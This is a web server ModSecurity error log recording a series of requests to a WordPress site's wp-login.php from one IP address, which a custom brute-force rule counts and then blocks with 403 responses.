[Fri Feb 27 04:45:04.026745 2026] [:error] [pid 42563:tid 42582] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw0HKL5BclZy73IRG4dwAAAcw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:05.366904 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw0XKL5BclZy73IRG4gQAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:08.376910 2026] [:error] [pid 42563:tid 42590] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw1HKL5BclZy73IRG4mQAAAdQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:09.744721 2026] [:error] [pid 42563:tid 42588] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw1XKL5BclZy73IRG4nQAAAdI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:12.587877 2026] [:error] [pid 42563:tid 42574] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw2HKL5BclZy73IRG4pQAAAcY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:13.946126 2026] [:error] [pid 42563:tid 42577] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw2XKL5BclZy73IRG4qQAAAcg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:16.728006 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw3HKL5BclZy73IRG4swAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:18.002913 2026] [:error] [pid 42563:tid 42582] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw3nKL5BclZy73IRG4twAAAcw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:20.820580 2026] [:error] [pid 42563:tid 42590] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw4HKL5BclZy73IRG4xgAAAdQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:22.188283 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw4nKL5BclZy73IRG4yQAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:25.026513 2026] [:error] [pid 42563:tid 42583] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw5XKL5BclZy73IRG4zwAAAc0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:27.172447 2026] [:error] [pid 5365:tid 5371] [client 141.98.11.209:51048] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw55YAa8J3tYxdG3wdtQAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:30.008325 2026] [:error] [pid 5365:tid 5388] [client 141.98.11.209:51048] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw6pYAa8J3tYxdG3wd1wAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:31.376293 2026] [:error] [pid 5365:tid 5381] [client 141.98.11.209:51048] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw65YAa8J3tYxdG3wd4AAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:34.627635 2026] [:error] [pid 5365:tid 5370] [client 141.98.11.209:51048] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw7pYAa8J3tYxdG3wd-AAAAQM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:36.050116 2026] [:error] [pid 5365:tid 5384] [client 141.98.11.209:51048] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw8JYAa8J3tYxdG3wd_wAAARE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:47.707317 2026] [:error] [pid 5365:tid 5372] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw-5YAa8J3tYxdG3weKwAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:49.090682 2026] [:error] [pid 5365:tid 5368] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCw_ZYAa8J3tYxdG3weMQAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:52.098486 2026] [:error] [pid 5365:tid 5391] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxAJYAa8J3tYxdG3weSQAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:53.465162 2026] [:error] [pid 5365:tid 5381] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxAZYAa8J3tYxdG3weUQAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:56.186988 2026] [:error] [pid 5365:tid 5374] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxBJYAa8J3tYxdG3weYQAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:57.550788 2026] [:error] [pid 5365:tid 5386] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxBZYAa8J3tYxdG3weaAAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:00.503977 2026] [:error] [pid 5365:tid 5382] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxCJYAa8J3tYxdG3weeAAAAQ8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:01.931650 2026] [:error] [pid 5365:tid 5378] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxCZYAa8J3tYxdG3wegwAAAQs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:04.982544 2026] [:error] [pid 5365:tid 5381] [client 141.98.11.209:60749] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxDJYAa8J3tYxdG3wemgAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:23.690636 2026] [:error] [pid 5365:tid 5381] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxH5YAa8J3tYxdG3wfWwAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:25.062175 2026] [:error] [pid 5365:tid 5376] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxIZYAa8J3tYxdG3wfawAAAQk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:28.918262 2026] [:error] [pid 5365:tid 5381] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxJJYAa8J3tYxdG3wfiAAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:30.313136 2026] [:error] [pid 5365:tid 5386] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxJpYAa8J3tYxdG3wfnQAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:33.144346 2026] [:error] [pid 5365:tid 5370] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxKZYAa8J3tYxdG3wftwAAAQM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:34.472044 2026] [:error] [pid 5365:tid 5382] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxKpYAa8J3tYxdG3wfvwAAAQ8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:37.551466 2026] [:error] [pid 5365:tid 5374] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxLZYAa8J3tYxdG3wfyAAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:38.897490 2026] [:error] [pid 5365:tid 5382] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxLpYAa8J3tYxdG3wf0QAAAQ8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:41.622498 2026] [:error] [pid 5365:tid 5372] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxMZYAa8J3tYxdG3wf4gAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:42.916979 2026] [:error] [pid 5365:tid 5377] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxMpYAa8J3tYxdG3wf5gAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:46.643619 2026] [:error] [pid 5365:tid 5388] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxNpYAa8J3tYxdG3wf8QAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:48.035848 2026] [:error] [pid 5365:tid 5371] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxOJYAa8J3tYxdG3wf9AAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:51.001762 2026] [:error] [pid 5365:tid 5379] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxO5YAa8J3tYxdG3wf-QAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:52.364978 2026] [:error] [pid 5365:tid 5374] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxPJYAa8J3tYxdG3wf_AAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:52.365061 2026] [:error] [pid 5365:tid 5374] [client 141.98.11.209:56206] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxPJYAa8J3tYxdG3wf_AAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:55.048722 2026] [:error] [pid 42658:tid 42678] [client 141.98.11.209:57466] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxP4zcoYl3nRbu1jZZLgAAAhI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:56.423401 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:57466] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxQIzcoYl3nRbu1jZZMQAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:46:59.554846 2026] [:error] [pid 42658:tid 42664] [client 141.98.11.209:57466] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxQ4zcoYl3nRbu1jZZOAAAAgQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:00.992408 2026] [:error] [pid 42658:tid 42682] [client 141.98.11.209:57466] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxRIzcoYl3nRbu1jZZPAAAAhY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:00.992410 2026] [:error] [pid 42658:tid 42682] [client 141.98.11.209:57466] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxRIzcoYl3nRbu1jZZPAAAAhY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:03.983457 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:62367] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxR3KL5BclZy73IRG5uAAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:03.983559 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:62367] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxR3KL5BclZy73IRG5uAAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:05.126409 2026] [:error] [pid 42563:tid 42594] [client 141.98.11.209:63873] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxSXKL5BclZy73IRG5vwAAAdg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:06.318745 2026] [:error] [pid 5365:tid 5368] [client 141.98.11.209:64453] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxSpYAa8J3tYxdG3wgFQAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:07.512127 2026] [:error] [pid 5365:tid 5367] [client 141.98.11.209:65001] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxS5YAa8J3tYxdG3wgGQAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:08.657494 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:49187] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxTIzcoYl3nRbu1jZZUwAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:08.657557 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:49187] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxTIzcoYl3nRbu1jZZUwAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:11.351861 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:49773] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxT5vQWnde-MjcQ1FY2QAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
